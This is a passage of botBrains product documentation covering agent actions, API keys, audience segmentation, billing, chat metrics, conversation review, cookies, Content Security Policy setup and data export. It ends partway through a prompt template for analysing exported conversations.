# Actions Source: https://docs.botbrains.io/concepts/actions Enable your AI agent to perform tasks, gather information, and interact with external systems. Actions let your AI agent do more than answer questions. You configure actions per profile under the [Actions tab](https://platform.botbrains.io/~/profiles?tab=actions), where you choose which tools and integrations each profile can use. Actions tab in profile settings showing toggles for Procedures, Escalation Tools, Unitools, and MCP Servers ## Procedures [Procedures](/concepts/procedures) are step-by-step workflows that guide your AI agent through multi-turn tasks. Enable procedures per profile to make them available during conversations. ## Escalation tools Escalation tools let the AI agent hand conversations to human agents. Two variants exist, one for each channel type: | Tool | Channel | Behavior | | ------------------------------------------- | ----------- | -------------------------------------------------------------------------------------------- | | **Offer handoff** (`offer_handoff`) | Web / Frame | The AI offers to transfer the conversation. The user reviews and confirms before escalation. | | **Escalate to Human** (`escalate_to_human`) | Ticketing | The AI sends the user a response and writes a handover note for the human agent. | Learn more about configuring escalation workflows in [Escalations](/concepts/escalations). ## Unitools [Unitools](/concepts/unitools) let you write custom Python or Shell code that your AI agent executes during conversations. Use them to query databases, call APIs, process data, or run any custom logic in a secure sandbox. You manage Unitools at the project level and then enable specific ones per profile under the Actions tab. ## Connecting to third-party systems When you need your AI agent to interact with external systems, follow this priority: 1. **Toolboxes or pre-built MCP Servers.** Check if botBrains already offers a ready-made integration for your system. These require minimal setup and work out of the box. 2. **Unitools.** If no pre-built integration exists, write a [Unitool](/concepts/unitools) to call the external API yourself. 3. **Search Tables.** If the data rarely changes, consider uploading it as a [Search Table](/concepts/tables) instead of querying an external system at runtime. ### MCP Servers MCP (Model Context Protocol) servers connect your AI agent to external systems like Salesforce, Stripe, HubSpot, or your own APIs. Data stays in the external system, and the agent accesses it in real time. **Setup.** Add an MCP server at the project level, then enable it in a profile's Actions tab. You can choose which tools to expose and whether actions require approval. botBrains provides pre-built integrations for popular platforms. You can also connect any custom endpoint that implements the MCP specification. MCP Servers section on the Actions tab showing available integrations like Shopify, Stripe, and Zapier ### Toolboxes Toolboxes bundle related tools into a single integration provided by botBrains. Enable them per profile under the Actions tab. ## Builtin tools | Tool | Description | | ----------------------------- | ------------------------------------------------------------ | | **Web Search** (`search_web`) | Search the web for current information during conversations. | ## Search Tables [Search Tables](/concepts/tables) let your AI agent query structured data you upload to botBrains (CSV, JSON, or JSONL). Configure searchable fields, filters, and ranges so the agent can answer precise queries like "find orders over \$100." Add tables at the project level, then attach them to a profile under the Actions tab with a custom tool name and description. ## Choosing the right action type | Need | Use | | ------------------------------ | ------------------------------------------------------------------------------------------------------------- | | Step-by-step workflows | [Procedures](/concepts/procedures) | | Hand off to humans | [Escalation tools](#escalation-tools) | | Third-party system integration | [Toolboxes](#toolboxes) or [MCP Servers](#mcp-servers) first, then [Unitools](/concepts/unitools) as fallback | | Real-time web info | [Builtin tools](#builtin-tools) | | Structured data queries | [Search Tables](/concepts/tables) | # API Keys Source: https://docs.botbrains.io/concepts/api-keys Generate and manage secure API keys for programmatic access to botBrains API keys are in private beta. If you would like access, please contact [support@botbrains.io](mailto:support@botbrains.io). API keys enable programmatic access to your botBrains projects. You can build custom integrations, automate workflows, and scope each key with specific permissions for secure, controlled access. ## Authentication API keys authenticate requests using a bearer token scheme: ```bash Example API Request theme={null} curl https://api.botbrains.io/v1/projects/123/conversations \ -H "Authorization: Bearer sk_live_abc123def456..." \ -H "Content-Type: application/json" ``` Each key consists of a **prefix** (`sk_live_` or `sk_test_`), a cryptographically secure **secret** (43 characters), and a set of **permissions** that control which operations the key can perform. Treat API keys like passwords. Never commit them to version control, share them in public channels, or expose them in client-side code. ## Key Concepts * **Project-scoped**: Each key belongs to one project and cannot access resources from other projects. * **Permission-based**: Keys use granular `resource:action` permissions (for example `conversation:read`, `knowledge:write`). Grant only the minimum permissions required. * **Revocable**: You can delete or modify key permissions at any time - changes take effect immediately. ## Creating a Key Open [Settings → API Keys](https://platform.botbrains.io/~/settings/apikeys) in your project Click **Create API Key**, enter a descriptive name (for example "CRM Sync", "CI Pipeline"), and select the permissions the key needs Copy the secret immediately - you won't see it again after closing the dialog Store the secret in environment variables or a secrets manager, never in source code: ```bash .env theme={null} BOTBRAINS_API_KEY=sk_live_Np8JQxH7mF3vKL9wRt2YzBnX4cDq6sA1pWe5iUoGhMj BOTBRAINS_PROJECT_ID=123 ``` Create API Key dialog showing name field and permission selection ## Managing Keys The API Keys table shows each key's name, masked secret, and permissions. From there you can: * **Reveal or copy** the secret using the eye / copy icons * **Edit permissions** without regenerating the secret (click the pencil icon) * **Delete a key** permanently (all requests using it will fail immediately) API Keys table showing multiple keys with masked secrets and action icons ## Permissions Permissions follow a `resource:action` pattern and map directly to the [Roles and Permissions](/concepts/roles-permissions) system. Write permissions automatically include the corresponding read permission. Common patterns: | Use case | Permissions | | ------------------- | ----------------------------------------------------------------------------------- | | Read-only analytics | `project:read`, `conversation:read`, `metric:read`, `topic:read` | | Knowledge sync | `knowledge:read`, `knowledge:write`, `table:read`, `table:write` | | Conversation access | `conversation:read`, `conversation:write`, `conversation:generate`, `userpool:read` | API keys only support project-level permissions. Organization-level operations (billing, team management) require authenticated user sessions. ## Next Steps * [Roles and Permissions](/concepts/roles-permissions) - Understand the full permission model * [Triggers](/concepts/triggers) - Automate actions with event-based webhooks * [Data Export](/concepts/data-export) - Export conversation data programmatically # Audiences Source: https://docs.botbrains.io/concepts/audiences Segment and target specific user groups for personalized AI experiences Audiences let you segment users so you can deliver different [guidance](/concepts/guidance), [knowledge](/concepts/knowledge), and tool access to different groups. You define an audience once, then attach it to guidance rules or data providers. Conversations that don't match any audience filter receive guidance set to "Everyone." ## Creating Audiences 1. Navigate to **Settings → Audiences** 2. Click **Create audience** 3. Name it descriptively (for example, "Enterprise EU Customers") 4. Build segmentation rules using the query builder 5. Save Combine multiple conditions with AND/OR logic. The root-level group always uses AND logic. Audience creation form with query builder showing AND/OR logic for segmenting users ## Available Fields ### User Attributes | Field | Examples | | ------------ | ---------------------------------------------- | | Identity | User ID, email, phone, name, external ID | | Platform IDs | Zendesk ID, Slack ID, WhatsApp ID | | Metadata | Timezone, locales, external attributes (JSON) | | Labels | User-assigned labels | | Activity | Last seen date, account creation date | | Verification | Email signed, phone signed, external ID signed | ### Channel Properties | Field | Examples | | ------------ | -------------------------------------------------- | | Channel type | Browser, WhatsApp, Zendesk, Slack, API, Salesforce | | Zendesk | Subdomain, group ID, brand ID, private mode status | | Slack | Team ID, team name | | WhatsApp | Phone number | | Browser | URL, user agent | ### Conversation Context | Field | Examples | | ----------- | --------------------------------------------------- | | Identifiers | Conversation ID, external ID | | Metrics | Message count, conversation length | | Timestamps | Created date, updated date, first/last message time | | Metadata | Integration type, tags, labels | ### Time Conditions | Field | Examples | | ---------- | -------------------------------------------- | | Date/Time | Current date, current datetime | | Components | Hour, day of week, day of month, month, year | | Timezone | Timezone string | ## Operators | Type | Operators | | ----------- | -------------------------------------------------------------------- | | Text | is, isn't, contains, starts with, ends with, is empty, isn't empty | | Number | is, isn't, less than, greater than, between, is empty | | boolean | is true, is false | | Date | is, before, after, between dates, in the last, in the next, is empty | | Select | is one of, isn't one of | | multiselect | contains, contains any of, contains none of, is empty | | JSON | text is, number is, boolean is, contains, path exists | ## Examples **VIP customers:** ``` User External Attributes -> JSON text is -> "tier" = "enterprise" AND User Labels -> contains any of -> ["vip", "premium"] ``` **After-hours support:** ``` (Current Hour -> less than -> 9 OR Current Hour -> greater than -> 17) AND User Timezone -> contains -> "America" ``` **New Zendesk users:** ``` Channel Type -> is one of -> ["zendesk"] AND User Created At -> in the last -> 7 days ``` ## Where to Use Audiences **Guidance rules.** Attach an audience to a guidance rule to scope its instructions and tools to matching conversations. See [Instruct AI Agent](/guides/instruct-ai-agent#audience-targeting). **Data providers.** Assign a default audience to a data provider so new sources automatically inherit the scope, making knowledge available only to matching users. **Knowledge sources.** Scope individual sources to specific audiences so users only see relevant documentation. Guidance rule showing audience selector dropdown in the Audience section # Voice Messages Source: https://docs.botbrains.io/concepts/audio Enable voice interactions with audio input for natural customer communication Voice messages let customers speak instead of type. The AI transcribes the audio to text, processes it, and responds in text. This helps customers who are on the go, have accessibility needs, or find it easier to explain problems by speaking. Audio input is one-way: customers send voice messages, and the AI responds with text. Users with visual impairments rely on screen readers for responses. ## How It Works 1. Customer presses the microphone button and speaks 2. The system transcribes the audio to text (supports 24+ languages with automatic detection) 3. The AI processes the transcript and responds Text input remains available as a fallback for noisy environments or when customers prefer typing. # Billing and Usage Source: https://docs.botbrains.io/concepts/billing Monitor usage, understand pricing, and manage your subscription botBrains bills for what you use, and this page explains exactly what that means: what counts as usage, how your plan is structured, and where to see the numbers. The goal is that you can always trace a charge back to something concrete. This page describes botBrains' understanding of usage. Commercial agreements supercede this documentation. If your contract has different terms, those are the ones that apply. ## How Billing Works You commit to a monthly volume up front, and pay a lower per-unit rate for it. If you go over, the extra usage is billed pay-as-you-go at an overage rate, so a busy month never blocks you from serving customers. * **Committed volume**: a baseline amount of messages and projects included in your plan at a fixed monthly rate. You pay for this whether or not you use all of it. * **Pay-as-you-go (overage)**: anything above your committed volume, charged at the overage rate. Usage is tracked per billing period, and each period starts fresh. Unused committed volume doesn't roll over. Depending on your contract, the period renews monthly or yearly. ### What You're Billed For | Category | What's billed | Billing unit | | ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | | **Chat Messages** | AI responses on conversational channels: website widget, Slack, WhatsApp, and the API/SDK (any channel without a ticketing integration) | Per message | | **Ticketing Messages** | AI replies on ticketing channels, i.e. conversations tied to a Zendesk or Salesforce integration | Per message ([priced higher than Chat](#why-is-the-chat-rate-cheaper-than-the-ticketing-rate)) | | **Generated Messages** | *Legacy category.* A single combined message cap covering all channels, used before Chat Messages and Ticketing Messages were split out | Per message | | **Projects** | Each active project in your organization, for separate AI configurations per product, brand, or use case | Per active project | Messages are the main thing most customers pay for. A billed message is a **reply generated by your AI**. The messages your users and human agents send are never billed, and [spam](#does-botbrains-charge-for-spam) never counts. **Simulations and guidance testing are billed**, but always at the cheaper **Chat Messages** rate, no matter which channel you're testing. Testing your agent never costs the Ticketing premium. See [why Chat is cheaper than Ticketing](#why-is-the-chat-rate-cheaper-than-the-ticketing-rate) below. Newer plans split messages into **Chat Messages** and **Ticketing Messages**; older plans use the single combined **Generated Messages** category across all channels. You'll have one setup or the other, not both. Your [subscription settings](https://platform.botbrains.io/settings/billing/subscription) show which categories apply to you and the rate for each. **The "Messages" number on your dashboard is not your bill.** The [metrics dashboard](https://platform.botbrains.io/~/metrics) "Messages" card counts **incoming messages from your users**, which is a traffic metric. Billing counts the **AI's replies** going the other way. So the two numbers won't match, and that's expected. ## Viewing Your Usage Access your [usage dashboard](https://platform.botbrains.io/settings/billing/usage) for organization-wide visibility. Usage dashboard showing current billing cycle, current bill, projected bill, and projected overage charges ### Current Billing Cycle At the top of the dashboard you'll see, for the current period: * **Billing Period**: the start and end dates, and how much time is left * **Current Bill**: what you've run up so far this cycle (committed cost plus any overage to date) * **Projected Bill**: where your total is likely to land by the end of the cycle * **Projected Pay-as-you-Go**: the overage portion of that projection ### How Projections Work Projections take your average daily usage so far and extend it at the same rate to the end of the period. They get more reliable as the cycle goes on, so take the first few days' projection with a grain of salt. ## Managing Your Subscription Navigate to your [subscription settings](https://platform.botbrains.io/settings/billing/subscription) to view and manage your plan. Subscription settings page showing subscription status, start date, renewal date, contract period, and line item pricing details ### Subscription Details Here's what each field on the subscription page means: **Status** * **Active**: live and billing normally * **Trial**: you're inside the initial special-termination window (the paid Testphase, explained below) * **Cancelled**: set to end when the current period finishes * **Expired**: the subscription has ended **Start Date**: when your subscription began **Next Renewal**: when the next billing cycle starts **Contract Period**: how long you've committed for (usually 12 months) **Testphase End** (if applicable): when your at-will cancellation window closes; after that the contract simply continues ### Trial Period (Testphase) We don't do free trials. Every engagement starts as a **paid contract** with a **special right of termination** in the early days, usually the first 30 days, and up to 12 weeks depending on the deal. You get the same protection a trial gives you: if we don't deliver the results we promised, or clearly show we're getting there, you can walk away within that window. We require the signature and approval before the trial phase because our data processing requires legal and compliance signoff anyway and when the trial is up, nothing changes: no new contract, no gap in service and no signature chasing. **Why we keep it paid** Almost all of our cost and hands-on work lands in **onboarding**, where we do the heavy lifting to get your AI actually performing. Because so much of the effort is up front, keeping the proof of concept paid lets us work with customers who are genuinely committed, ask for that commitment on both sides, and cover some of the risk we take on early. And we do take on real risk: we routinely spend more on onboarding than we earn back at the start. That's a deliberate bet on the partnership working out; we're an entrepreneurial company. For larger deals we'll sometimes waive or reduce fees, but that's the exception, not the rule. ### Reading the Line Items Each category has its own line, with these fields: **Volume**: how much is committed per cycle **Rate**: the price per unit of that committed volume **Unit**: how units are grouped for committed billing (usually 1) **Overage Rate**: the price per unit once you go over your committed volume **Overage Unit**: how units are grouped for overage billing (usually 1) **Prepaid Until** (if applicable): for prepaid volumes, when the prepayment runs out ## Understanding Your Bill Each monthly invoice lays out: * **Subscription summary**: your account and subscription IDs, the period covered, and the subscription status * **Line-item charges**: the committed cost for each category plus any overage, shown as volume × rate so you can check the math * **Total due**: the sum of everything, plus tax where it applies, charged to the payment method on file ## Why is the Chat rate cheaper than the Ticketing rate? Because a ticketing answer takes more work than a chat message. Two things drive the difference: * **Custom field prediction.** On a ticket, botBrains doesn't just write the reply. It also predicts the ticket's custom fields (priority, category, and other annotated fields) and fills them in. Chat has nothing equivalent. * **More reasoning per answer.** A live chatbot has to respond in real time, which limits how much the AI can think before replying. Ticketing has no such latency constraint, so the AI can reason far more deeply on each answer. During testing we swallow that cost, which is why simulations and guidance testing still bill at the Chat rate. More work per message means a higher rate for Ticketing. Chat is leaner and latency-bound, so it's billed at the lower rate. The exact rates, tiers, and any minimum volumes are set in your contract; see your [subscription settings](https://platform.botbrains.io/settings/billing/subscription) for your numbers. **Simulations and guidance testing** are always billed at this cheaper Chat rate, whatever channel you're testing, so trying out your agent never costs the Ticketing premium. ## Does botBrains charge for spam? No. botBrains automatically detects spam and removes it from your analytics, and doesn't counts toward your billed messages. You can view the % of removed messages in the **Conversation Filter Quality** chart, right at the bottom of the [metrics page](https://platform.botbrains.io/~/metrics). You can also block spam before the AI ever responds with [Triggers](/concepts/triggers). If you still spot suspicious patterns, submit a hint to [support](mailto:support@botbrains.io). Notifications you receive in your ticketing system are not considered spam, to exclude them, change your assignment rules or use a trigger to block replies. ## Where can I track my bill? You can review all past usage in the [billing usage dashboard](https://platform.botbrains.io/settings/billing/usage). Each billing cycle shows your total charges, committed costs, and any pay-as-you-go overages. If a charge ever doesn't add up, reach out to [support](mailto:support@botbrains.io) and we're happy to walk through it with you. # Chat Performance Source: https://docs.botbrains.io/concepts/chat-performance Monitor AI agent performance across chat channels like Web, Slack, and WhatsApp The **General** view on your [metrics dashboard](https://platform.botbrains.io/~/metrics) covers chat channels-Web, Slack, and WhatsApp. In chat, conversations resolve in a single session, so **Resolution Rate** and **CSAT** are your primary success metrics. Use the channel filter to isolate specific chat channels. Chat Performance metrics dashboard showing Conversation Status and CSAT charts For ticketing channels (Zendesk, Salesforce), see [Ticketing Performance](/concepts/ticketing-performance). Ticketing uses different primary metrics because human finishing is an expected part of the workflow. ## Conversation Status Every conversation has a status that indicates how it concluded. | Status | Color | Meaning | | ---------- | ------ | ------------------------------------------------------------------------------------ | | Resolved | Green | The AI or a human operator successfully answered the user's question | | Unresolved | Red | The question went unanswered or received an inadequate response | | Escalated | Purple | The system handed the conversation off to a human agent, automatically or on request | ## Metrics | Card | Description | Interpretation | | --------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------ | | Messages | Total **user** messages exchanged in the selected timeframe | Rising messages with stable conversations means longer discussions | | Conversations | Unique conversation threads started | Spikes may indicate product issues or marketing campaigns | | Unique Users | Distinct users who started conversations | Compare to conversation count to gauge repeat contact rate | | CSAT Score | Percentage of satisfied customers (4–5 star ratings) out of all rated conversations | 80%+ is excellent, below 60% needs urgent attention | | Resolution Rate | Percentage of conversations resolved without escalation or abandonment | 80%+ indicates strong autonomous performance | ## Charts and Use Cases | Chart | Use case | | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | Conversation Status | Track resolution trends over time; correlate dips with deployments or knowledge updates | | Conversation Rating | Check satisfaction distribution; a healthy profile peaks at 4–5 stars with under 10% at 1–2 stars | | Message Volume | Spot changes in conversation complexity-average messages per conversation reveals efficiency (2–4 is quick, 9+ suggests struggles) | | AI Involvement Rate | Measure your automation mix; target 60–70% fully autonomous for a mature deployment | | handoff | Find peak escalation times and the most common reasons the AI hands off to humans | | Answer Completeness | Surface knowledge gaps directly-a high "no answer" percentage points to missing content | | User Sentiment | Detect frustration trends; rising negative sentiment with low CSAT means the AI's responses frustrate users | | User Rating Trend | Confirm that improvements sustain over time-look for upward-sloping 4–5 star lines | | User Language | Identify whether non-English traffic with low satisfaction signals a need for multilingual knowledge | | Usage by Page | Find high-traffic pages that generate many conversations-candidates for better self-service content | | Knowledge Source Usage | Detect underutilized knowledge sources and prioritize updates to frequently referenced ones | | Conversation Length | Flag efficiency issues-many single-message conversations may mean disengagement, 9+ messages may mean the AI isn't resolving | | Activity heatmaps | Identify peak support hours for staffing and seasonal patterns | | Hidden Conversations | Monitor spam detection accuracy and track abuse patterns | Charts section showing Messages and AI Involvement Rate visualizations ## Identifying Issues **Find topics with low satisfaction.** Filter [conversations](https://platform.botbrains.io/~/conversations) by topic and rating 1–2 to see where the AI struggles most. Cross-reference with the Resolution Status chart on the [topics dashboard](https://platform.botbrains.io/~/topics) to quantify the problem. **Spot knowledge gaps.** The Answer Completeness chart shows how often the AI has no answer at all. Open those conversations and check the source attribution-"Used Sources (0)" means the AI fell back to general knowledge instead of your data. Create snippets to fill the gap. **Understand escalation patterns.** The handoff chart reveals when and why the AI escalates. Filter to escalated conversations and review whether escalations were necessary (complex issue) or avoidable (missing knowledge). Reduce avoidable escalations by adding the missing information. **Track improvement after changes.** After updating knowledge or guidance, use the date range filter to compare the affected topic's metrics before and after. Look for rising resolution rates and CSAT on that topic. ## Next Steps * [Conversations](/concepts/conversations) - Review individual conversations to understand metrics in context * [Ticketing Performance](/concepts/ticketing-performance) - Compare chat metrics to ticketing performance * [Topics](/concepts/topics) - Segment performance by topic to find improvement areas * [Improve Answers](/guides/improve-answers) - Use insights to refine knowledge and guidance # Conversations Source: https://docs.botbrains.io/concepts/conversations Browse, filter, and analyze customer conversations to improve AI performance Your [conversation history](https://platform.botbrains.io/~/conversations) is the most valuable source of insights for improving your AI. Browse, filter, and analyze conversations to identify knowledge gaps, track satisfaction, and validate improvements. Every conversation has a [status](/concepts/chat-performance#conversation-status) (resolved, unresolved, escalated) and an [AI involvement level](/concepts/ticketing-performance#why-involvement-rate-not-resolution-rate) (autonomous, public, private, not involved). You can manually change a conversation's status by clicking the status tag on the conversation detail page. ## Filters Use filters on the [conversations page](https://platform.botbrains.io/~/conversations) to drill down to specific segments. | Filter | Description | | --------------- | ------------------------------------------------------------------------------------ | | **Date range** | Focus on a specific time range (last 7 days, 30 days, 90 days, or custom) | | **Involvement** | Segment by AI participation level | | **Channel** | Filter by communication channel (Web, Zendesk, Salesforce, Slack, WhatsApp, Email) | | **Labels** | Include or exclude conversations by label-see [Labels](/concepts/labels) for details | Conversations page with filter dropdowns for date range, involvement, channel, and labels Click **Show advanced filters** for additional options: | Filter | Description | | ---------- | ----------------------------------------------------------------------- | | **Topic** | Filter by automatically detected conversation topics | | **Status** | Filter by resolution outcome (Resolved, Unresolved, Escalated) | | **Rating** | Filter by customer satisfaction score (1–5 stars, Abandoned, Unoffered) | Filter to ratings 1–2 and status Unresolved to find the most problematic conversations requiring immediate attention. ## Conversation Details Click any conversation to open the detail view. The header shows message count, topic, status, rating, channel, and timestamps. The timeline displays user messages, AI responses (with source attribution), and operator messages in chronological order. Conversation detail view showing message timeline, conversation header with status and rating, and user information sidebar ### Customer Feedback If the customer rated the conversation, a feedback card appears at the top of the timeline showing the star rating (1–5), the label (Terrible to Amazing), and any text feedback. ### User Information Sidebar The right sidebar shows the user's profile (ID, email, device info, location), channel details, and applied labels. Click the user to view their full conversation history. ### Hiding a Conversation Open the conversation, select the three-dot menu in the top-right corner, then choose **Hide Conversation**. A hidden conversation disappears from your metrics and conversation list views, which makes this the quickest way to clean up test conversations you created while configuring your AI. To hide many at once, use [Batch Operations](#batch-operations). ## Improving Answers Click any AI message to open the knowledge sidebar, which shows which sources the AI referenced and any available but unused sources. From there you can add missing information as a snippet, navigate to source documents to correct errors, or adjust guidance for tone and style. Knowledge sidebar showing used and unused sources for an AI response "Used Sources (0)" means the AI answered from general knowledge rather than your data-this signals a knowledge gap. Create a snippet to address it. ## Batch Operations Select multiple conversations by clicking the selection circle on conversation cards. The batch toolbar lets you apply labels, remove labels, export data, or hide conversations in bulk. Batch hide is permanent. Hidden conversations cannot be recovered. Use this only for spam or test data. ## Exporting Data Click **Export** on the [conversations page](https://platform.botbrains.io/~/conversations) to download conversations matching your current filters as CSV or JSON. You can also set up recurring exports in your [data export settings](https://platform.botbrains.io/~/settings/data-export). ## Next Steps * [Message Search](/concepts/message-search) - Find specific content across all conversations * [Topics](/concepts/topics) - Understand what users are asking about * [Metrics](/concepts/metrics) - Monitor aggregate performance indicators * [Improve Answers](/guides/improve-answers) - Use conversation insights to refine AI responses * [Labels](/concepts/labels) - Organize conversations with custom categorization # Cookie Notice Source: https://docs.botbrains.io/concepts/cookie-notice Information about cookies and similar technologies used by the botBrains chat service This Cookie Notice describes what kinds of cookies and similar technologies botBrains uses in connection with our [chat.botBrains.io](https://chat.botbrains.io) Service and how you can manage them. ## Types of cookies Cookies are small text files that online services may place on your device when you interact with them. Cookies can help services remember information about your visit, such as your language settings or when you logged in, which can improve your experience when you revisit a website. Services can also use them for other purposes, such as troubleshooting errors and better understanding how visitors use their services. We call cookies that we set first-party cookies. We also use third-party cookies-which are cookies from a domain different from the domain of the website you are visiting. Similar technologies (pixels, web beacons, or local storage) can also serve these purposes. We use "cookies" to refer to cookies and similar technologies. ## Necessary cookies Our Services require these cookies to operate. For example, they allow us to authenticate users or enable specific features within the Services, including for security purposes. They're **first-party cookies.** We must use cookies to support conversation continuity similar to how shopping carts work. Non-security cookies are set only after you interact with our system. | Cookie Name | Name | Duration | Purpose | Details | | ---------------------------- | ------------------------- | ----------------------------------- | ---------- | ----------------------------------------------------------------------------------------------------- | | botBrains-device-\[frameId] | Unique device identifier | 6 months (refreshed on interaction) | Security | Prevent impersonation, rate limiting | | botBrains-user-\[frameId] | Unique user identifier | 6 months (refreshed on interaction) | Functional | Prevent impersonation, added only after interaction with the system | | botBrains-session-\[frameId] | Unique session identifier | 7 days\* (refreshed on interaction) | Functional | Keeping track of sessions. Access started conversations. Added only after interaction with the system | \* May be overwritten by a customer ## Analytics cookies We don't set cookies that aren't necessary to operate our service. Away with 3rd party advertisement cookies! ## Managing cookies Your web browser may allow you to manage your cookie preferences, including to delete and disable cookies. You can take a look at the help section of your web browser or follow the links below to understand your options. If you choose to disable cookies, some features of our Site or Services may not operate as intended. * [Chrome](https://support.google.com/chrome/answer/95647?hl=en) * [Internet Explorer](https://support.microsoft.com/en-us/help/17442/windows-internet-explorer-delete-manage-cookies) * [Safari](https://support.apple.com/guide/safari/manage-cookies-and-website-data-sfri11471/mac) * [Firefox](https://support.mozilla.org/en-US/kb/cookies-information-websites-store-on-your-computer) * [Opera](https://help.opera.com/en/latest/web-preferences/#cookies) Cookie settings are device-specific and browser-specific, so you will need to set cookie preferences for each device's browser. ## Additional information For additional information about cookies, including how to see what cookies websites have placed on your device and how to manage and delete them, please visit [www.allaboutcookies.org](https://www.allaboutcookies.org/) and [www.youronlinechoices.eu](https://www.youronlinechoices.eu/). You can send questions regarding privacy to [support](mailto:support@botbrains.io). ## FAQs ### Why don't you set the HTTPOnly flag for your cookies The botBrains JavaScript needs to access our cookies, and therefore we can't enable this flag. # Configure CSPs Source: https://docs.botbrains.io/concepts/csp-configuration Content Security Policy configuration for botBrains website integration **If you do not have CSPs configured, they do not interfere with botBrains.** If you have some in place, you must update them when integrating botBrains. If you don't know what CSPs are, you likely don't have them configured. CSPs require deep browser understanding and configuring a single character wrong can trip you up. We are here to help-reach out to [support@botbrains.io](mailto:support@botbrains.io) or via live chat on [platform.botbrains.io](https://platform.botbrains.io). We're not perfect and you might encounter unexpected CSP blocks in the browser console. **Please report** them to [support@botbrains.io](mailto:support@botbrains.io). This guide covers the Content Security Policy (CSP) requirements for integrating with botBrains Chat Bubble service. It outlines the key endpoints we communicate with and the necessary CSP configurations. ## What are CSPs? Content Security Policies (CSPs) are security measures implemented by web browsers to prevent various types of attacks, particularly cross-site scripting (XSS) and data injection attacks. They work by allowing servers to specify exactly which sources of content browsers should consider trustworthy for loading resources like scripts, stylesheets, images, fonts, and more. Servers apply CSPs through HTTP response headers or HTML meta elements, creating a security layer that blocks potentially malicious content from executing. ## How do I know if we use CSPs? Check if your server returns this header on the main HTML document served: ``` Content-Security-Policy: ``` ## Why do I need to change CSPs when integrating botBrains? When integrating botBrains (via the HTML/JS snippet), your CSPs may block our functionality. Because we run in your domain context, strict CSPs can prevent script execution, API communications, or dynamic content generation. You must update your CSP directives to explicitly allow botBrains to operate correctly. ## Main Endpoints While we bundle our dependencies with version pinning, some libraries communicate with their systems to load additional features such as Session Replay on demand. To ensure proper functionality, your CSP must allow communication with the following endpoints: ### botBrains - Assets, API and Open Graph Previews * `https://api.botbrains.io` - Primary API for back-end communication * `https://chat.botbrains.io` - Used for chat functionality and script loading * `https://*.botbrains-cdn.com` - Used for assets loading and proxying 3rd party assets * `data:...` - Used to load image and audio data Our system may load images and URLs dynamically for link previews. While we plan to proxy asset requests through our CDN, we currently load them directly from their respective sources. Images from your allowed domains work as expected, but the browser may block some images until we implement CDN proxying. ### Error Monitoring * `https://*.sentry.io` - Ingestion API used for error reporting and logging ### Analytics & User Behavior Tracking * `https://*.i.posthog.com` - API used for feature flags, analytics and event tracking See [PostHog CSP documentation](https://posthog.com/docs/advanced/content-security-policy) for more details. ## Recommended CSP Configuration In addition to your current rules, add these directives: ``` Content-Security-Policy: script-src 'self' 'unsafe-inline' https://*.botbrains.io; style-src 'self' 'unsafe-inline' https://*.botbrains.io; img-src 'self' https://*.botbrains.io data:; connect-src 'self' https://*.botbrains.io wss://*.botbrains.io https://*.sentry.io https://*.i.posthog.com; frame-src 'self' https://*.botbrains.io; form-action 'self' https://*.botbrains.io; ``` * `unsafe-inline` for CSS cannot be changed currently. Reach out to [support@botbrains.io](mailto:support@botbrains.io) if this is a deal-breaker. * `unsafe-inline` for `script-src` can be replaced by `'nonce-{SERVER-GENERATED-NONCE}'` if you add a nonce to the loader script: ``. This configuration only shows the necessary additions for botBrains to work. You need to merge it with your existing configuration. ## Explanation of Directives The wildcard `*` matches multi-level domains. For example, `*.example.com` won't match `example.com` but will match any subdomain, including nested subdomains (for example, `two.one.example.com`). | Directive | Description | | --------------------------- | ------------------------------------------------------------------------------------ | | `default-src 'self'` | Restricts all unspecified resource types to the current origin | | `script-src` | Allows scripts only from configured domains | | `style-src` | Permits loading styles from given domains / inline-mode | | `img-src` | Allows images from given domains | | `font-src` | Permits loading fonts from given domains | | `connect-src` | Enables communication with given domains. Note that you must state protocols | | `frame-src` | Restricts iframe loading to given domains | | `object-src 'none'` | Prevents embedding objects (for example, Flash, plugins) | | `base-uri 'self'` | Prevents attackers from hijacking forms by blocking changes to the document base URL | | `form-action 'self'` | Ensures forms are only submitted to the same origin | | `upgrade-insecure-requests` | Forces the browser to upgrade all HTTP requests to HTTPS | Please reach out to us if you struggle to set up the correct CSPs and our support team will help you out. CSPs are difficult to get right and the exact configuration depends on your exact setup. # Data Export Source: https://docs.botbrains.io/concepts/data-export Export conversation data for compliance, analytics, and backup botBrains lets you export conversations, messages, and user data for compliance, custom analytics, or backup. All exports respect your project permissions. ## Export Methods | | Full Dataset Export | Entity-Specific Export | | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | | **What** | Complete snapshot of all project data | Filtered download of one entity type (Conversations, Messages, or Users) | | **Format** | JSONL (Users → Conversations → Messages hierarchy) | CSV, JSONL, Excel, or Markdown | | **How** | [Settings → Data Export](https://platform.botbrains.io/~/settings/data-export), processed in the background, download link sent by email | Export button on any [Conversations](https://platform.botbrains.io/~/conversations), Messages, or Users list page, downloads immediately | | **Limits** | 2 per day per project; download link valid for 7 days | 10,000 rows per export | | **Use when** | Full backups, GDPR requests, AI analysis across all data | Filtered subsets, spreadsheet analysis, sharing with stakeholders | Full Dataset Export settings dialog showing export options in the Data Export settings page ## Export Formats | Format | Best for | | --------------- | -------------------------------------------------------------------------------------------------- | | **CSV** | Excel, Google Sheets, quick manual analysis | | **JSONL** | Programmatic processing, data pipelines, preserving nested data (Users → Conversations → Messages) | | **Excel (CSV)** | Microsoft Excel with correct UTF-8 encoding and date handling | | **Markdown** | Copying conversations into an LLM (ChatGPT, Claude) for ad-hoc analysis | Entity-specific export dialog on the Conversations list page showing format and filter options If CSV displays special characters incorrectly in Excel, use the Excel (CSV) format or import via Excel's "Get Data" feature with UTF-8 encoding. ## Media Files in Exports Exports include **time-limited download URLs** for media attachments (images, files), not the files themselves. These URLs expire after 7 days. Download media files after exporting if you need permanent copies. ## Custom Analysis with AI Tools The Full Dataset Export (JSONL) works well with AI tools like ChatGPT or Claude. Upload the file and use this prompt template: ``` You are a data analyst, using your Code Interpreter / Python Interpreter tools to write code and answer my questions. You've been given a JSON Lines file, of the conversations had by the ai-assistant, operators (human agents) and customers. Each line is a user profile, with all their conversations and all messages within those conversations, including metadata. For legacy reasons, not all conversations have a user, so a mock user with ID 00000000-0000-0000-0000-000000000000 is assigned all other conversations. Follow this workflow: 1. Familiarize yourself with the data model 